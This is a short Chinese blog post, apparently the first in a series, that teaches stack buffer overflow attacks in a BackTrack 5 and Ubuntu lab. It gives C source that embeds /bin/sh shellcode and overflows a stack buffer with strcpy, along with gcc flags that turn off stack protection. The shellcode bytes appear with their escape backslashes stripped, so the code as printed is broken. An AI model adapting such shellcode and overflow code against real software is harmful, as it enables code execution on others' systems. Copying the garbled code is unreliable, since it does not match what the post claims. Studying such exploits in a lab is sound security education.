使用metasploit进行栈溢出攻击-1

 攻击是在bt5下面进行，目标程序是在ubuntu虚拟机上运行。

 

首先，需要搞明白什么是栈溢出攻击，详细内容请阅读

http://blog.csdn.net/cnctloveyu/article/details/4236212

这篇文章讲的很清楚了，只是具体例子不是很准确，有点小错误。

下面贴上一个我验证过的，修改过可执行的例子。

//shell.c

#include<unistd.h>

char shellcode[] = 
"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" 
"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" 
"x80xe8xdcxffxffxff/bin/sh";
char large_string[128]; 

void main() { 
    char buffer[96]; 
    int i; 
    long *long_ptr = (long *) large_string; 

    for (i = 0; i < 32; i++) 
        *(long_ptr + i) = (int) buffer; 

    for (i = 0; i < strlen(shellcode); i++) 
        large_string[i] = shellcode[i]; 

    strcpy(buffer,large_string); 
} 

此程序使用gcc -fno-stack-protector -z execstack -g -o shell shell.c 编译

程序执行完毕以后应该新打开一个shell。